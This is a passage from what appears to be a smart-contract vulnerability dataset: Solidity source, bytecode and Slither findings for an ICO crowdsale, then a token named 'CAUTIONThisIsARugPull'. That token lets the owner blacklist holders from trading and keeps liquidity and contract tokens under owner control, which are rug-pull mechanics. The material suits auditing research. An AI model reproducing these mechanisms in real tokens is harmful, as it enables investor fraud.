token = IDCToken(_token);
beneficiary = _beneficiary;
uint256 stageGoal = 3*10**8*10**uint256(token.decimals());
angelGoal = stageGoal;
privGoal = stageGoal;
angelSoftCap = stageGoal.div(3);
}
function() external notPaused payable {
require(stage < Stage.Finalized);
updateStageByTime();
uint256 tokens = msg.value.mul(getPrice());
if(stage == Stage.Angel) {
require(msg.value >= MIN_ANGLE && angelSaled.add(tokens) <= angelGoal);
token.transferToken(0, msg.sender, tokens);
angelSaled = angelSaled.add(tokens);
recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value);
emit RecvEther(msg.sender, msg.value);
}
else if(stage == Stage.Private) {
require(msg.value >= MIN_PRIV && privSaled.add(tokens) <= privGoal);
token.transferToken(1, msg.sender, tokens);
privSaled = privSaled.add(tokens);
recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value);
emit RecvEther(msg.sender, msg.value);
}
else if(stage == Stage.Crowd) {
require(privSaled.add(tokens) <= privGoal);
token.transferToken(2, msg.sender, tokens);
privSaled = privSaled.add(tokens);
recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value);
emit RecvEther(msg.sender, msg.value);
}
updateStageBySaled();
if(stage == Stage.Finalized) {
token.tokenRelease();
if(angelSaled < angelGoal) {
token.burnToken(angelGoal.sub(angelSaled));
}
if(privSaled < privGoal) {
token.burnToken(privGoal.sub(privSaled));
}
}
}
function updateStageByTime() private {
if(stageBegin == 0) {
stageBegin = now;
}
uint256 stagePast = now.sub(stageBegin);
if(stage == Stage.Angel) {
if(stagePast > stageLength) {
if(angelSaled >= angelSoftCap) {
stage = Stage.Private;
}
else {
stage = Stage.Failed;
}
stageBegin = now;
stageLength = DAY_30;
}
}
else if(stage == Stage.Private) {
if(stagePast > stageLength) {
stage = Stage.Crowd;
stageBegin = now;
stageLength = DAY_30;
}
}
else if(stage == Stage.Crowd) {
if(stagePast > stageLength) {
stage = Stage.Finalized;
stageBegin = now;
}
}
}
function updateStageBySaled() private {
if(stage == Stage.Angel) {
if(angelSaled > angelGoal.sub(MIN_ANGLE.mul(getPrice()))) {
stage = Stage.Private;
stageBegin = now;
stageLength = DAY_30;
}
}
else if(stage == Stage.Private) {
if(privSaled > privGoal.sub(MIN_PRIV.mul(getPrice()))) {
stage = Stage.Finalized;
stageBegin = now;
}
}
else if(stage == Stage.Crowd) {
if(privSaled >= privGoal) {
stage = Stage.Finalized;
stageBegin = now;
}
}
}
function getPrice() public view returns (uint32) {
if(stage == Stage.Angel) {
return 8000;
}
else if(stage == Stage.Private) {
return 5000;
}
else if(stage == Stage.Crowd) {
uint256 stagePast = now.sub(stageBegin);
if(stagePast <= DAY_10) {
return 4000;
}
else if(stagePast > DAY_10 && stagePast <= DAY_20) {
return 3000;
}
else if(stagePast > DAY_20 && stagePast <= DAY_30) {
return 2000;
}
}
return 2000;
}
function getStageInfo() public view returns (uint8, uint256, uint256) {
require(stageBegin != 0);
uint256 stageUnsold = 0;
if(stage == Stage.Angel) {
stageUnsold = angelGoal - angelSaled;
}
else if(stage == Stage.Private || stage == Stage.Crowd) {
stageUnsold = privGoal - privSaled;
}
uint256 stageRemain = 0;
if(stageBegin.add(stageLength) > now) {
stageRemain = stageBegin.add(stageLength).sub(now);
}
return (uint8(stage), stageUnsold, stageRemain);
}
function setStageLength(uint256 _seconds) onlyOwner external {
require(stageBegin + _seconds > now);
stageLength = _seconds;
}
function withdrawEther(uint256 _ethers) onlyOwner external returns (bool) {
require(_ethers > 0 && _ethers <= address(this).balance);
beneficiary.transfer(_ethers);
emit WithdrawEther(beneficiary, _ethers);
return true;
}
function refundEther() external returns (bool) {
require(stage == Stage.Failed);
uint256 ethers = recvEthers[msg.sender];
assert(ethers > 0);
recvEthers[msg.sender] = 0;
msg.sender.transfer(ethers);
emit RefundEther(msg.sender, ethers);
return true;
}
} | 0x6080604052600436106100e25763ffffffff60e060020a60003504166301196190811461070957806313af40351461073c57806317fc3f551461075f57806338af3eed146107745780633bed33ce146107a55780633f4ba83a146107d15780634dbbfcc6146107e6578063560ed6a1146107fb5780635c975abb146108105780636207d2391461082557806365766b641461083a5780637b1278e91461084f5780638456cb59146108675780638da5cb5b1461087c57806398d5fdca14610891578063a9396a1b146108bf578063bb09adbb146108f6578063dcc1fd021461090b575b6000805460a060020a900460ff16156100fa57600080fd5b600360025460a060020a900460ff16600481111561011457fe5b1061011e57600080fd5b610126610920565b610146610131610a65565b63ffffffff1634610b5690919063ffffffff16565b9050600060025460a060020a900460ff16600481111561016257fe5b14156102b757681b1ae4d6e2ef50000034101580156101955750600554600654610192908363ffffffff610b8c16565b11155b15156101a057600080fd5b600154604080517f83b60a33000000000000000000000000000000000000000000000000000000008152600060048201819052336024830152604482018590529151600160a060020a03909316926383b60a339260648084019391929182900301818387803b15801561021257600080fd5b505af1158015610226573d6000803e3d6000fd5b505060065461023e925090508263ffffffff610b8c16565b600655336000908152600a6020526040902054610261903463ffffffff610b8c16565b336000818152600a6020908152604091829020939093558051918252349282019290925281517ff26e958dbf975a119527fcf7e79a1c63c6245ee7206c2393ac4ebb7b3d434ee7929181900390910190a1610525565b600160025460a060020a900460ff1660048111156102d157fe5b14156103d1576802b5e3af16b188000034101580156103045750600754600854610301908363ffffffff610b8c16565b11155b151561030f57600080fd5b60018054604080517f83b60a3300000000000000000000000000000000000000000000000000000000815260048101939093523360248401526044830184905251600160a060020a03909116916383b60a3391606480830192600092919082900301818387803b15801561038257600080fd5b505af1158015610396573d6000803e3d6000fd5b50506008546103ae925090508263ffffffff610b8c16565b600855336000908152600a6020526040902054610261903463ffffffff610b8c16565b6002805460a060020a900460ff1660048111156103ea57fe5b141561052557600754600854610406908363ffffffff610b8c16565b111561041157600080fd5b600154604080517f83b60a3300000000000000000000000000000000000000000000000000000000815260026004820152336024820152604481018490529051600160a060020a03909216916383b60a339160648082019260009290919082900301818387803b15801561048457600080fd5b505af1158015610498573d6000803e3d6000fd5b50506008546104b0925090508263ffffffff610b8c16565b600855336000908152600a60205260409020546104d3903463ffffffff610b8c16565b336000818152600a6020908152604091829020939093558051918252349282019290925281517ff26e958dbf975a119527fcf7e79a1c63c6245ee7206c2393ac4ebb7b3d434ee7929181900390910190a15b61052d610b9b565b600360025460a060020a900460ff16600481111561054757fe5b141561070657600160009054906101000a9004600160a060020a0316600160a060020a031663cac351126040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156105a057600080fd5b505af11580156105b4573d6000803e3d6000fd5b505050506040513d60208110156105ca57600080fd5b5050600554600654101561066957600154600654600554600160a060020a0390921691637b47ec1a91610603919063ffffffff610d1216565b6040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50505b600754600854101561070657600154600854600754600160a060020a0390921691637b47ec1a916106a0919063ffffffff610d1216565b6040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b1580156106d957600080fd5b505af11580156106ed573d6000803e3d6000fd5b505050506040513d602081101561070357600080fd5b50505b50005b34801561071557600080fd5b5061072a600160a060020a0360043516610d24565b60408051918252519081900360200190f35b34801561074857600080fd5b5061075d600160a060020a0360043516610d36565b005b34801561076b57600080fd5b5061072a610db5565b34801561078057600080fd5b50610789610dbb565b60408051600160a060020a039092168252519081900360200190f35b3480156107b157600080fd5b506107bd600435610dca565b604080519115158252519081900360200190f35b3480156107dd57600080fd5b5061075d610e88565b3480156107f257600080fd5b5061072a610ef0565b34801561080757600080fd5b506107bd610ef6565b34801561081c57600080fd5b506107bd610fb6565b34801561083157600080fd5b5061072a610fc6565b34801561084657600080fd5b5061072a610fcc565b34801561085b57600080fd5b5061075d600435610fd2565b34801561087357600080fd5b5061075d610fff565b34801561088857600080fd5b5061078961106c565b34801561089d57600080fd5b506108a6610a65565b6040805163ffffffff9092168252519081900360200190f35b3480156108cb57600080fd5b506108d461107b565b6040805160ff9094168452602084019290925282820152519081900360600190f35b34801561090257600080fd5b5061072a61117e565b34801561091757600080fd5b5061072a611184565b60006003546000141561093257426003555b60035461094690429063ffffffff610d1216565b9050600060025460a060020a900460ff16600481111561096257fe5b14156109c8576004548111156109c35760095460065410610998576002805460a060020a60ff02191660a060020a1790556109b7565b600280546004919060a060020a60ff02191660a060020a835b02179055505b4260035562278d006004555b610a62565b600160025460a060020a900460ff1660048111156109e257fe5b1415610a0d576004548111156109c35760028054819060a060020a60ff02191660a060020a826109b1565b6002805460a060020a900460ff166004811115610a2657fe5b1415610a6257600454811115610a62576002805460a060020a60ff02191674030000000000000000000000000000000000000000179055426003555b50565b6000808060025460a060020a900460ff166004811115610a8157fe5b1415610a9157611f409150610b52565b600160025460a060020a900460ff166004811115610aab57fe5b1415610abb576113889150610b52565b6002805460a060020a900460ff166004811115610ad457fe5b1415610b4c57600354610aee90429063ffffffff610d1216565b9050620d2f008111610b0457610fa09150610b52565b620d2f0081118015610b195750621a5e008111155b15610b2857610bb89150610b52565b621a5e0081118015610b3d575062278d008111155b15610b4c576107d09150610b52565b6107d091505b5090565b600080831515610b695760009150610b85565b50828202828482811515610b7957fe5b0414610b8157fe5b8091505b5092915050565b600082820183811015610b8157fe5b600060025460a060020a900460ff166004811115610bb557fe5b1415610c2657610bf6610be7610bc9610a65565b63ffffffff16681b1ae4d6e2ef500000610b5690919063ffffffff16565b6005549063ffffffff610d1216565b6006541115610c21576002805460a060020a60ff02191660a060020a1790554260035562278d006004555b610d10565b600160025460a060020a900460ff166004811115610c4057fe5b1415610cba57610c81610c72610c54610a65565b63ffffffff166802b5e3af16b1880000610b5690919063ffffffff16565b6007549063ffffffff610d1216565b6008541115610c21576002805460a060020a60ff0219167403000000000000000000000000000000000000000017905542600355610d10565b6002805460a060020a900460ff166004811115610cd357fe5b1415610d105760075460085410610d10576002805460a060020a60ff02191674030000000000000000000000000000000000000000179055426003555b565b600082821115610d1e57fe5b50900390565b600a6020526000908152604090205481565b600054600160a060020a03163314610d4d57600080fd5b60008054604051600160a060020a03808516939216917fcbf985117192c8f614a58aaf97226bb80a754772f5f6edf06f87c675f2e6c66391a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b600254600160a060020a031681565b60008054600160a060020a03163314610de257600080fd5b600082118015610df3575030318211155b1515610dfe57600080fd5b600254604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610e38573d6000803e3d6000fd5b5060025460408051600160a060020a0390921682526020820184905280517fdb35132c111efe920cede025e819975671cfd1b8fcc1174762c8670c4e94c2119281900390910190a1506001919050565b600054600160a060020a03163314610e9f57600080fd5b60005460a060020a900460ff161515610eb757600080fd5b6000805460a060020a60ff02191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60045481565b600080600460025460a060020a900460ff166004811115610f1357fe5b14610f1d57600080fd5b50336000908152600a6020526040812054908111610f3757fe5b336000818152600a60205260408082208290555183156108fc0291849190818181858888f19350505050158015610f72573d6000803e3d6000fd5b50604080513381526020810183905281517f15cb16753684c0e54f072553783e689dc7a0ae18384a5e7ff0b2caf15b09e295929181900390910190a1600191505090565b60005460a060020a900460ff1681565b60085481565b60035481565b600054600160a060020a03163314610fe957600080fd5b6003544290820111610ffa57600080fd5b600455565b600054600160a060020a0316331461101657600080fd5b60005460a060020a900460ff161561102d57600080fd5b6000805460a060020a60ff02191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080600080600060035460001415151561109557600080fd5b600091508160025460a060020a900460ff1660048111156110b257fe5b14156110c657600654600554039150611111565b600160025460a060020a900460ff1660048111156110e057fe5b148061110257506002805460a060020a900460ff16600481111561110057fe5b145b15611111576008546007540391505b50600454600354600091429161112c9163ffffffff610b8c16565b111561115c576111594261114d600454600354610b8c90919063ffffffff16565b9063ffffffff610d1216565b90505b60025460a060020a900460ff16600481111561117457fe5b9591945092509050565b60075481565b60065481565b60008080831161119957600080fd5b82848115156111a457fe5b04905082848115156111b257fe5b068184020184141515610b8157fe00a165627a7a72305820e15f429a96d1a0ac8a6cf0befd3075114d9e164a56672a9bd24e1b866831705a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,173 |
0x366d0a48141255e18eba64f48faa2a705ac4c7ea | /**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
/**
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract CAUTIONThisIsARugPull is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CAUTIONThisIsARugPull";
string private constant _symbol = "RUGPULL";
uint8 private constant _decimals = 9;
mapping(address => bool) private bots;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _dynamicFee = 1;
mapping(address => uint256) private buycooldown;
address private _marketingAddress;
address private _charityAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _coolDownSeconds = 30;
uint256 private _maxTxBasis = 300;
bool private _takeFee = true;
event MaxTxPercentUpdated(uint256 _maxTxPercent);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_dynamicFee == 0) return;
_dynamicFee = 0;
}
function restoreAllFee() private {
_dynamicFee = 1;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
uint256 maxAmount = _tTotal.mul(_maxTxBasis).div(10**5);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen);
require(amount <= maxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + ( _coolDownSeconds * (1 seconds));
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(2).div(100));
if (from != address(this) && to != address(this) && contractTokenBalance > 0) {
if (_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
}
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_takeFee = takeFee;
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function maxTxAmount() public view returns (uint256) {
return _tTotal.mul(_maxTxBasis).div(10**5);
}
function isMarketing(address account) public view returns (bool) {
return account == _marketingAddress;
}
function isTakeFee() public view returns (bool) {
return _takeFee;
}
function isCharity(address account) public view returns (bool) {
return account == _charityAddress;
}
function setBotAddress(address account) external onlyOwner() {
require(!bots[account], "Account is already identified as a bot");
bots[account] = true;
}
function revertSetBotAddress(address account) external onlyOwner() {
require(bots[account], "Account is not identified as a bot");
bots[account] = false;
}
function setCharityAddress(address charityAddress) external onlyOwner {
_isExcludedFromFee[_charityAddress] = false;
_charityAddress = charityAddress;
_isExcludedFromFee[_charityAddress] = true;
}
function setMarketingAddress(address marketingAddress) external onlyOwner {
_isExcludedFromFee[_marketingAddress] = false;
_marketingAddress = marketingAddress;
_isExcludedFromFee[_marketingAddress] = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxBasis = 300;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tDynamic) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_transferFees(sender, tDynamic);
_reflectFee(rFee, tDynamic);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFees(address sender, uint256 tDynamic) private {
uint256 currentRate = _getRate();
if (tDynamic == 0) return;
uint256 tMarketing = tDynamic.mul(36).div(90); //0.4% Marketing Fee
uint256 tCharity = tDynamic.mul(30).div(300); //0.1% Charity Fee
uint256 rMarketing = tMarketing.mul(currentRate);
_tOwned[_marketingAddress] = _tOwned[_marketingAddress].add(tMarketing);
_rOwned[_marketingAddress] = _rOwned[_marketingAddress].add(rMarketing);
emit Transfer(sender, _marketingAddress, tMarketing);
uint256 rCharity = tCharity.mul(currentRate);
_tOwned[_charityAddress] = _tOwned[_charityAddress].add(tCharity);
_rOwned[_charityAddress] = _rOwned[_charityAddress].add(rCharity);
emit Transfer(sender, _charityAddress, tCharity);
}
function _reflectFee(uint256 rFee, uint256 tDynamic) private {
_rTotal = _rTotal.sub(rFee);
if (tDynamic != 0)
_tFeeTotal = _tFeeTotal.add(tDynamic.mul(10).div(4)); //2.5% Rewards Fee
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tDynamic) = _getTValues(tAmount, _dynamicFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rDynamic) = _getRValues(tAmount, tDynamic, currentRate);
return (rAmount, rTransferAmount, rDynamic, tTransferAmount, tDynamic);
}
function _getTValues(uint256 tAmount, uint256 dynamicFee) private pure returns (uint256, uint256) {
if (dynamicFee == 0)
return (tAmount, dynamicFee);
uint256 tDynamic = tAmount.mul(dynamicFee).div(100);
uint256 tTransferAmount = tAmount
.sub(tDynamic.mul(3));
return (tTransferAmount, tDynamic);
}
function _getRValues(uint256 tAmount, uint256 tDynamic, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
if (tDynamic == 0)
return (rAmount, rAmount, tDynamic);
uint256 rDynamic = tDynamic.mul(currentRate);
uint256 rTransferAmount = rAmount
.sub(rDynamic.mul(3));
return (rAmount, rTransferAmount, rDynamic);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setCoolDownSeconds(uint256 coolDownSeconds) external onlyOwner() {
_coolDownSeconds = coolDownSeconds;
}
function getCoolDownSeconds() public view returns (uint256) {
return _coolDownSeconds;
}
function setMaxTxBasis(uint256 maxTxBasis) external onlyOwner() {
require(maxTxBasis > 0, "Amount must be greater than 0");
_maxTxBasis = maxTxBasis;
emit MaxTxPercentUpdated(_maxTxBasis.div(100));
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c3c8cd801161008a578063dd62ed3e11610064578063dd62ed3e14610555578063e8078d9414610592578063e81ffbef146105a9578063f2fde38b146105e65761018c565b8063c3c8cd80146104ea578063c9567bf914610501578063dce14451146105185761018c565b8063715018a6146103ec5780638c0b5e22146104035780638da5cb5b1461042e578063906e9dd01461045957806395d89b4114610482578063a9059cbb146104ad5761018c565b8063285de4261161013e57806332c8165d1161011857806332c8165d1461033257806355ac56571461035b5780635a99567e1461038657806370a08231146103af5761018c565b8063285de426146102b35780632d4f40c6146102de578063313ce567146103075761018c565b806306fdde0314610191578063070fad74146101bc578063095ea7b3146101e55780630c9be46d1461022257806318160ddd1461024b57806323b872dd146102765761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060f565b6040516101b39190613962565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613531565b61064c565b005b3480156101f157600080fd5b5061020c600480360381019061020791906134cc565b6106eb565b6040516102199190613947565b60405180910390f35b34801561022e57600080fd5b50610249600480360381019061024491906133ef565b610709565b005b34801561025757600080fd5b506102606108d6565b60405161026d9190613b24565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061347d565b6108e0565b6040516102aa9190613947565b60405180910390f35b3480156102bf57600080fd5b506102c86109b9565b6040516102d59190613b24565b60405180910390f35b3480156102ea57600080fd5b50610305600480360381019061030091906133ef565b6109c3565b005b34801561031357600080fd5b5061031c610b40565b6040516103299190613b99565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190613531565b610b49565b005b34801561036757600080fd5b50610370610c77565b60405161037d9190613947565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a891906133ef565b610c8e565b005b3480156103bb57600080fd5b506103d660048036038101906103d191906133ef565b610e0a565b6040516103e39190613b24565b60405180910390f35b3480156103f857600080fd5b50610401610e5b565b005b34801561040f57600080fd5b50610418610fae565b6040516104259190613b24565b60405180910390f35b34801561043a57600080fd5b50610443610fe1565b6040516104509190613879565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b91906133ef565b61100a565b005b34801561048e57600080fd5b506104976111d7565b6040516104a49190613962565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf91906134cc565b611214565b6040516104e19190613947565b60405180910390f35b3480156104f657600080fd5b506104ff611232565b005b34801561050d57600080fd5b50610516611291565b005b34801561052457600080fd5b5061053f600480360381019061053a91906133ef565b61135c565b60405161054c9190613947565b60405180910390f35b34801561056157600080fd5b5061057c60048036038101906105779190613441565b6113b6565b6040516105899190613b24565b60405180910390f35b34801561059e57600080fd5b506105a761143d565b005b3480156105b557600080fd5b506105d060048036038101906105cb91906133ef565b611921565b6040516105dd9190613947565b60405180910390f35b3480156105f257600080fd5b5061060d600480360381019061060891906133ef565b61197b565b005b60606040518060400160405280601581526020017f43415554494f4e5468697349734152756750756c6c0000000000000000000000815250905090565b610654611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d890613aa4565b60405180910390fd5b8060108190555050565b60006106ff6106f8611b3d565b8484611b45565b6001905092915050565b610711611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613aa4565b60405180910390fd5b600060066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600754905090565b60006108ed848484611d10565b6109ae846108f9611b3d565b6109a9856040518060600160405280602881526020016141fe60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061095f611b3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124739092919063ffffffff16565b611b45565b600190509392505050565b6000601054905090565b6109cb611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4f90613aa4565b60405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adc90613a84565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610b51611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613a